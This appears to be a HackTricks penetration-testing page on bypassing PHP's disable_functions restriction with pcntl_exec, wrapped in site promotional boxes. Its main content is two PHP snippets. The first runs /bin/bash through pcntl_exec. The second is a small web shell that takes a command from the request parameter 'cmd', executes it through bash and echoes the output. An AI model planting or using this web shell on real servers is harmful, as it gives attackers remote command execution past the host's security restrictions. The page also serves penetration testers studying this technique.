disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

# PHP 4 >= 4.2.0, PHP 5 pcntl_exec

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

    <?php
    $dir = '/var/tmp/';
    $cmd = 'ls';
    $option = '-l';
    $pathtobin = '/bin/bash';

    $arg = array($cmd, $option, $dir);

    pcntl_exec($pathtobin, $arg);
    echo '123';
    ?>
    <?php
    $cmd = @$_REQUEST[cmd];
    if(function_exists('pcntl_exec')) {
        $cmd = $cmd."&pkill -9 bash >out";
        pcntl_exec("/bin/bash", $cmd);
        echo file_get_contents("out");
    } else {
            echo '不支持pcntl扩展';
    }
    ?>

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.